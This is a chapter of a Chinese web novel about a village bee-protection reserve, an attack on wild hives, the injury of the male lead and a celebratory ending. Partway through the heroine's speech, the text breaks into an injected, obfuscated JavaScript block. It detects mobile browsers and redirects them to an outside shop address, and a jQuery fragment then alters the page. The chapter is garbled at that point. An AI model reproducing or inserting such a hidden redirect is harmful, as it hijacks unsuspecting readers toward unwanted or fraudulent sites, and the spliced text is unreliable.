第十一章:庆典与守护
省级生态保护区的批文,在一个阳光明媚的周三下午送到了王家村。
邮递员骑着摩托车刚进村口,就被眼尖的张大婶看见了:“是批文吗?是批文吗?那个牛皮纸袋!”
“是!省林业厅的红头文件!”邮递员也高兴,这几个月他往村里跑了好几趟,都快成半个王家村人了,连村里的狗都认识他。
消息像长了翅膀,几分钟就传遍了全村。王墨汐正在蜂场检查新一批蜂箱,听到喊声跑下山时,村委会门口已经围满了人,跟赶集似的。
文件装在牛皮纸袋里,盖着鲜红的公章。王墨汐拆开时手有点抖,跟过电似的,但看到“批准设立”四个字时,眼泪差点掉下来。
“批了!真的批了!”夏薇抱住她又跳又叫,差点把人撞倒。
陈庆宇这个硬汉子也红了眼眶,扭过头偷偷擦眼睛。村民们欢呼着,不知谁带头鼓起了掌,掌声越来越响,在山谷里回荡,把树上的鸟都惊飞了。
梁云峥站在人群外,看着王墨汐被大家围在中间,脸上洋溢着发自内心的笑容。这样的她,比任何时候都美,比那些穿着晚礼服在酒会上假笑的时候美多了。
“各位乡亲!”王墨汐站到石凳上,声音清亮,“保护区批下来了!咱们的蜂场,咱们的山林,受法律保护了!这是大喜事,咱们得好好庆祝!”
“对!庆祝!”村民们齐声响应,跟喊口号似的。
“我提议,这个周六办庆典!请所有帮助过咱们的人来,吃流水席,看表演,还要宣布合作社下一步的计划!”
“好!”
庆典定在周六,但准备工作周四就开始了。村里像过年一样热闹,家家户户都行动起来。张大婶和李婆婆带着妇女们准备食材,鸡鸭鱼肉,山珍野菜,摆了满满一院子,跟开超市似的。陈庆宇带着年轻人搭舞台、挂彩灯,梯子不够就人叠人。孩子们跑来跑去,帮忙贴福字、搬桌椅,顺便偷吃几块糖。
王墨汐忙得脚不沾地,跟陀螺似的。要确定嘉宾名单,要安排流程,要准备发言稿,还要盯着蜂场的日常工作。梁云峥主动留下来帮忙,他做事有条理,把繁杂的事务安排得井井有条,表格做得跟财务报表似的。
“没想到梁总还有这本事。”夏薇偷偷跟王墨汐说,眼睛瞪得溜圆,“我以为他只会开董事会签支票呢。居然还会贴对联?”
王墨汐看着梁云峥在人群中忙碌的背影,心里涌起一股暖意。他正踩着梯子挂灯笼,梯子晃悠悠的,下面一群人扶着。他变了,真的变了。不再是那个高高在上的总裁,而是能融入山村生活的普通人,虽然挂灯笼的技术还有待提高。
周五晚上,一切准备就绪。王墨汐站在村委会门口,看着张灯结彩的村子,心里满是感慨。重生一年了,从孤身一人回乡,到现在带领全村发展事业,这条路走得不轻松,但每一步都踏实。就跟爬山似的,累是真累,但风景也是真好。
梁云峥走过来,递给她一杯热茶:“累了吧?”
“还好。”王墨汐接过茶,“就是觉得像做梦一样。一年前,我还在城里那栋空荡荡的公寓里,想着下半辈子怎么办。现在……”
“现在你是王家村的骄傲。”梁云峥温柔地说,“墨汐,我为你高兴。真的。”
两人并肩站着,看夜幕下的山村。星星很亮,晚风很轻,偶尔有狗叫两声。
“明天庆典结束,我得回市里一趟。”梁云峥说,“公司下周一上市,有些事要最后确认。一群律师等着我签字。”
“嗯,你去忙。这边有我们呢。”
“但我很快回来。”梁云峥看着她,“上市敲钟仪式,我想邀请你去。作为……合作伙伴和朋友。”
王墨汐想了想,点头:“好,我去。正好看看你那个玻璃大楼。”
梁云峥笑了,眼里的光比星星还亮。
夜深了,村民们陆续回家休息。王墨汐也回了老屋,但躺在床上却睡不着。兴奋,紧张,期待……各种情绪交织在一起,跟煮粥似的。
不知过了多久,窗外传来奇怪的声响。
像是石头滚落的声音,又像是金属碰撞。王墨汐警觉地坐起来,仔细听。声音来自后山方向。
她立刻下床,拿起手电筒往外走。刚到院门口,就看到陈庆宇也出来了,披着外套。
“你也听到了?”陈庆宇神色紧张。
“嗯,去后山看看。”
两人往后山走,越靠近岩壁,声音越清晰。是凿击岩石的声音!叮叮当当的。
“有人在破坏岩壁!”陈庆宇低声说。
王墨汐心里一沉。一定是李旭!他知道保护区批下来了,狗急跳墙,想在庆典前毁掉野生蜂巢!这王八蛋。
“我去叫人!”陈庆宇转身要跑。
“等等!”王墨汐拉住他,“先去看看情况。人多了容易打草惊蛇。万一跑了呢。”
两人悄悄靠近岩壁。月光下,三个黑影正拿着凿子和锤子,在岩壁上敲打,跟开山似的。一个蜂巢已经被破坏,蜂蜜流了一地,蜜蜂惊恐地乱飞,嗡嗡嗡的声音都不一样了。
“住手!”王墨汐冲出去,手电筒直射过去。
那三人吓了一跳,但看清只有王墨汐和陈庆宇两个人,又嚣张起来。
“王小姐,大半夜不睡觉,来这干嘛?”其中一个阴阳怪气地说,嘴里还叼着烟。
“你们在干什么?这是保护区!破坏保护区是犯法的!”
“保护区?批文不是明天才生效吗?”那人冷笑,“我们今晚就把这些蜂巢都砸了,明天你们拿什么庆祝?拿什么揭牌?”
果然是李旭指使的!王墨汐气得浑身发抖:“你们敢!”
“有什么不敢的?”另一个人举起锤子,“李总说了,砸一个蜂巢给一千。这几个全砸了,够我们潇洒一阵子了!比你们养蜂来钱快多了!”
说着就要继续砸。陈庆宇冲上去阻拦,被一把推开,摔在地上,闷哼一声。
王墨汐正要喊人,身后传来急促的脚步声。梁云峥跑过来了——他晚上没回市里,住在老屋客房,也听到了动静。跑得鞋都掉了一只。
“墨汐!你没事吧?”梁云峥挡在她身前,喘着粗气。
“梁云峥?你怎么……”那三人显然认识他,有些慌了,锤子都举不起来了。
“我已经报警了。”梁云峥举起手机,“警察马上就到。你们现在走还来得及,等警察来了,就是破坏保护区、毁坏珍稀物种,至少判三年。我有律师朋友,可以帮你们加刑。”
三人面面相觑。其中一个咬牙:“别听他吓唬!砸完快跑!他一个人能拦住咱们仨?”
他举起锤子砸向另一个蜂巢。梁云峥冲上去夺锤子,两人扭打在一起。另外两人见状,也围了上来。
“梁云峥!小心!”王墨汐大喊。
混乱中,不知谁推了一把,梁云峥脚下一滑,从岩壁边缘摔了下去!
“梁云峥!”王墨汐的尖叫划破夜空,把树上的鸟都惊飞了。
岩壁不高,但下面有乱石。梁云峥摔下去后就没动静了,躺在那一动不动。那三人吓坏了,扔下工具就跑,跟兔子似的。
王墨汐不顾一切地往下爬。陈庆宇一边打电话叫救护车,一边跟着下来,手电筒晃来晃去。
梁云峥躺在乱石堆里,额头磕破了,血流了一脸,跟化了妆似的。左腿以一个不自然的角度弯着,可能是骨折了。但他还清醒着,看到王墨汐,居然还笑了:“你……没事吧?”
“你别说话!”王墨汐手抖得厉害,想给他止血,却不知从哪下手,纸巾都拿不稳。
“没事……不疼……”梁云峥声音虚弱,还咧嘴笑,“蜂巢……保住几个?”
“都什么时候了你还管蜂巢!”王墨汐的眼泪掉下来,砸在他脸上,热乎乎的。
救护车来得很快,呜啦呜啦的。梁云峥被抬上车时,还拉着王墨汐的手:“庆典……别耽误……都准备好了……”
“你别管了!”王墨汐跟着上了车,手一直握着没放。
医院里,检查结果出来了:左腿胫骨骨折,额头缝了八针,轻微脑震荡,需要住院观察。医生说要是不老实,以后走路可能瘸。
梁云峥被推进手术室时,王墨汐坐在走廊长椅上,双手紧紧攥着,指甲都掐进肉里了。夏薇和陈庆宇赶来了,村民们也陆续来了,把走廊挤得满满的,护士都过不去。
“墨汐,梁总怎么样?”张大婶担心地问,手里还拎着鸡蛋。
“骨折,在手术。”王墨汐声音沙哑,跟砂纸磨过似的。
“都怪李旭那个王八蛋!”陈庆宇一拳砸在墙上,墙上多了个印子,“警察已经去抓他了!这次人赃并获,跑不了!”
夏薇握住王墨汐冰冷的手:“墨汐,你还好吗?你手怎么这么凉?”
王墨汐摇摇头,说不出话。她脑子里全是梁云峥摔下去的画面,和他那句“你没事吧”。那一刻她才明白,这个人对她有多重要。比蜂巢重要多了。
手术进行了两个多小时。梁云峥被推出来时,麻药还没过,闭着眼,脸色苍白,跟个纸人似的。医生说他需要静养,至少住院一周,腿不能动。
王墨汐让夏薇和陈庆宇带村民们先回去,准备明天的庆典。她留下来陪护。
“你也回去休息吧。”夏薇劝她,“明天庆典你还要主持呢。你这样熬着,明天眼睛肿得跟桃子似的。”
“我没事,我等他醒。”
凌晨三点,梁云峥醒了。看到王墨汐趴在床边,他动了动手指。
王墨汐立刻惊醒:“你醒了?疼不疼?要不要叫医生?腿麻不麻?”
梁云峥摇摇头,声音很轻,跟蚊子似的:“庆典……”
“取消了。你受伤了,还办什么庆典。都什么时候了还惦记那个。”
“不行……”梁云峥坚持,“要办……这是大喜事……不能因为我……毁了……乡亲们都等着……”
“梁云峥!”王墨汐眼睛又红了,“你能不能为自己想想?腿都断了,还想着庆典!你脑子是不是也摔坏了?”
梁云峥看着她,忽然笑了:“你在……为我哭吗?”
王墨汐一愣,这才发现自己满脸泪水。她胡乱擦了一把:“谁为你哭了!我是气的!被你气的!”
“墨汐,”梁云峥握住她的手,力气还不小,“我没事……真的。庆典要办,而且要办得热闹。让所有人知道……王家村站起来了……你的努力没白费……不能因为我一个人……”
王墨汐的眼泪又涌出来。她低下头,额头轻轻抵在两人交握的手上:“梁云峥,你个傻子……”
“为你傻……值得。”梁云峥轻声说。
第二天,庆典照常举行。
王墨汐一夜没睡,眼睛肿着,但精神很好。她换上了夏薇特意准备的新衣服——一件浅蓝色的连衣裙,简单大方,站那儿跟仙女似的。
村里比昨天更热闹了。县里的领导来了,赵教授来了,媒体记者来了,扛着长枪短炮。还有周边几个村的代表,都来看热闹。流水席从村委会一直摆到村口,足足五十桌,跟结婚似的。
王墨汐站在舞台上,看着台下黑压压的人群,深吸一口气。
“各位领导,各位来宾,各位乡亲,”她的声音通过话筒传遍全村,有点沙哑,“今天,我们在这里庆祝王家村野生蜂群生态
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281690|198374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保护区正式成立!”
掌声雷动,跟打雷似的。
“一年前,我回到村里,只想养几箱蜂,过安静的日子。但这一路上,我得到了太多人的帮助——陈庆宇大哥教我技术,夏薇帮我打开销路,张大婶、李婆婆和所有乡亲们支持我、信任我。还有赵教授的专业指导,县里领导的支持,以及……”
她顿了顿,嗓子有点哽:“以及我的合作伙伴梁云峥先生,他在我最困难的时候伸出援手,在蜂场遇到危险时挺身而出。昨天,为了保护岩壁上的野生蜂巢,他受了伤,现在正在医院。但他让我告诉大家,他很好,他为保护区高兴。”
台下安静了,很多人擦起了眼泪。张大婶哭得最大声。
“梁云峥说,庆典一定要办,要办得热闹。因为这不是我一个人的成功,是全村人的成功!从今天起,我们的蜂蜜有了‘保护区出品’的认证,我们的山村有了生态旅游的金字招牌!我宣布,合作社明年计划扩大三倍规模,让每户收入再翻一番!”
欢呼声几乎掀翻屋顶,震得耳朵疼。
庆典进行得很顺利。领导讲话,揭牌仪式,文艺表演,品尝蜂蜜……王墨汐忙得团团转,但始终带着笑。只是时不时往村口看一眼。
中午时分,夏薇突然跑过来,兴奋地说:“墨汐!你看谁来了!”
王墨汐转头,愣住了。医院门口,梁云峥坐在轮椅上,被护士推着,正朝这边来。他头上缠着纱布,左腿打着石膏,白花花的一片,但笑得像个孩子,跟中了彩票似的。
“你……你怎么来了?”王墨汐跑过去,差点摔一跤。
“这么重要的日子,我怎么能缺席。”梁云峥说,“我跟医生求了半天情,又写了保证书,答应只待一小时就回去。不然他们要打我。”
王墨汐蹲下身,眼睛又湿了:“胡闹……”
“值得。”梁云峥看着她,“墨汐,你今天真好看。这裙子不错。”
王墨汐脸红了。周围人善意地笑起来,有人起哄,有人鼓掌。
庆典的最高潮,是王墨汐推着梁云峥的轮椅,一起为保护区揭牌。红布落下,“王家村野生蜂群生态保护区”十二个大字在阳光下闪闪发光,铜牌锃亮。
掌声中,梁云峥突然从怀里掏出一个小盒子。他打开盒子,里面不是戒指,而是一把钥匙。普通的大门钥匙。
“墨汐,这是我在市里那栋公寓的钥匙。”梁云峥的声音很平静,“我知道你不想要,所以我把它卖了。卖房子的钱,我想捐给保护区的科研基金,专门研究野生蜜蜂。这把钥匙,是留作纪念的——纪念我们曾经的家,也纪念我们重新开始的可能。”
他把钥匙放在王墨汐手里:“我不逼你,不催你。我只是想告诉你,我准备好了——准备好用全新的自己,等待全新的你。无论等多久。一年,两年,十年。”
全场寂静。所有人都看着王墨汐。
王墨汐握着那把钥匙,金属的凉意透过掌心传来。她看着梁云峥真诚的眼睛,看着周围乡亲们期待的表情,看着阳光下欣欣向荣的蜂场和山林。
然后,她笑了。
她没有回答梁云峥,而是弯腰,在他额头的纱布上,轻轻印下一个吻。很轻,跟蝴蝶似的。
掌声再次响起,比任何一次都热烈,把树上的鸟又惊飞了一波。梁云峥愣住了,随即眼睛亮得像天上的星星,嘴咧得跟瓢似的。
庆典继续。王墨汐推着梁云峥的轮椅,一桌一桌敬酒。每到一桌,大家都送上祝福。
“梁总早日康复!腿快点好!”
“墨汐,要幸福啊!这小伙子不错!”
“咱们村双喜临门!又是保护区又是对象的!”
傍晚,夕阳西下时,王墨汐推着梁云峥来到岩壁下。被破坏的蜂巢已经清理了,剩下的完好无损,蜜蜂还在嗡嗡嗡。蜜蜂们结束了忙碌的一天,正在归巢,排着队往里进。
“真美。”梁云峥轻声说。
“嗯。”王墨汐在他身边坐下,地上铺了块布,“梁云峥,谢谢你。”
“谢我什么?谢我摔断腿?”
“谢你的改变,谢你的等待,谢你为我做的一切。”王墨汐看着远方,“但我还需要时间。不是不相信你,是我要确认自己的心。你能理解吗?我得自己琢磨明白了。”
“能。”梁云峥握住她的手,“我说过,我可以等。等到你完全准备好。反正腿断了,也跑不了。”
两人就这么坐着,看夕阳慢慢沉入山后。远处传来庆典的欢歌笑语,近处是蜜蜂归巢的嗡嗡声,偶尔还有两声狗叫。
一切都很美好。
王墨汐忽然觉得,重活一世,不是为了复仇,也不是为了证明什么。是为了找到这样平静而踏实的幸福——有热爱的事业,有支持的人群,有愿意为她改变和等待的人。
还有傻乎乎的梁云峥,坐轮椅也要来参加庆典。
她看着他的侧脸,忽然问:“疼吗?”
“什么?”
“腿。”
“疼。”梁云峥老实承认,“但值得。”
王墨汐笑了,把头轻轻靠在他肩上。很轻,跟怕碰坏他似的。
梁云峥一动不动,大气都不敢喘,生怕把这个瞬间吓跑。
夕阳终于落下去了,天边还剩一抹红。远处夏薇在喊他们吃饭。
“走吧。”王墨汐站起来,推起轮椅,“回去吃席,张大婶炖了猪蹄,说给你补腿。”
“猪蹄补腿?”梁云峥疑惑,“这什么原理?”
“不知道,但好吃就行。”
两人说说笑笑,往村里走。轮椅在土路上咯吱咯吱响,但推得很稳。
夜色温柔。